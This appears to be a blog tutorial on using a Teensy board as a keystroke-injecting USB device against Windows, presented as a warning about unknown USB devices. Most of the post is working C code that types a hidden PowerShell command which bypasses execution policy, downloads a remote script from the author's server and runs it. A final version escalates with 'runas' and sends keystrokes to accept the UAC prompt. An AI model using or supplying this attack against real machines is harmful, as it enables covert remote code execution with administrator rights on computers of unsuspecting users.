Teensy – why you shouldn't plug anything to your USB port

ScreenshotWe have a Teensy and we know how to write program that could type something. What we can do with that? We can input some system commands.
Most simple example would be to open notepad and then type something in it.
First thing that we have to do in our program is to wait for a while – Windows don’t always recognize plugged keyboard immediately. Then we have to press Win+R, wait, type notepad, wait again and then type whatever we want.Example code would look like that:

//initial delay
//open 'Run dialog'
usb_keyboard_press(KEY_R, KEY_GUI);

//type notepad and press enter
char notepad[] = "notepad\n";
uint8_t notepadKeys[16];
convertStrningToKeys(notepad, notepadKeys, 8);
writeKeys(notepadKeys, 8);

//type somthing
char someText[] = "This is text!\n";
uint8_t someTextKeys[26];
convertStrningToKeys(someText, someTextKeys, 13);
writeKeys(someTextKeys, 13);

Another possibility is to open command line and then type some commands. Main disadvantage of such approach is that we have to reprogram our board each time we want to change script. Can do it more flexible? Yes, we can use power of PowerShell to make it easier! Script that we want to run could be hosted on some webserver, so we could only replace that script (main disadvantage is that the computer have to be connected to internet).
If we type in windows Run dialog below code, we could run any PowerShell script. Interesting part is that such approach will bypass default Windows policy that prevent from running PowerShell .ps1 scripts on computer.

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle hidden -Command "iex ((new-object net.webclient).DownloadString('https://miron.xyz/examples/pspayload/hello.ps1'))"

And C code would like like:

const int textLength = 179;
uint8_t keysToPress[358];
char textToType[] = "powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle hidden -Command \"iex ((new-object net.webclient).DownloadString('https://miron.xyz/examples/pspayload/hello.ps1'))\"";


convertStrningToKeys(textToType, keysToPress, textLength);
writeKeys(keysToPress, textLength);

Such script would be run with user privileges. Can we somehow bypass UAC and run script with escalated privilages? It is more tricky, but possible.
First we how to find a way how to run program as administrator from command line. I couldn’t find any simple way, but PowerShell is again going to help. We can use Start-Process command with parameter ‚-Verb runas’.

Start-Process powershell -Verb runas -ArgumentList ' -ExecutionPolicy Bypass','-Command command_to_execute_as_admin"

If we try to join above command with previous approach (in run command start PowerShell with Start-Process command that run remote script), we will notice that Run dialog has length limit for command – it could have only 260 characters. So we have to explicity run PowerShell console and then type our commands.
And how to bypass UAC? We can just type TAB and Enter. UAC window is starting with focus on No button, pressing Shift + Tab will switch that focus on Yes. It might happen that focus will be on Yes button, but in such case we can do nothing with it.

So our final code would like like that:

usb_keyboard_press(KEY_R, KEY_GUI);

char powershell[] = "powershell\n";
uint8_t powershell_keys[22];
convertStrningToKeys(powershell, powershell_keys, 11);
writeKeys(powershell_keys, 11);

char command[] = "Start-Process powershell -Verb runas -ArgumentList '-ExecutionPolicy Bypass','-Command \"iex ((new-object net.webclient).DownloadString(''https://miron.xyz/examples/pspayload/hello.ps1''))\"'\n";
uint8_t command_keys[390];
convertStrningToKeys(command, command_keys, 195);
writeKeys(command_keys, 195);


usb_keyboard_press(KEY_TAB, KEY_SHIFT);
usb_keyboard_press(KEY_ENTER, 0);

Full code could be found on my GitHub.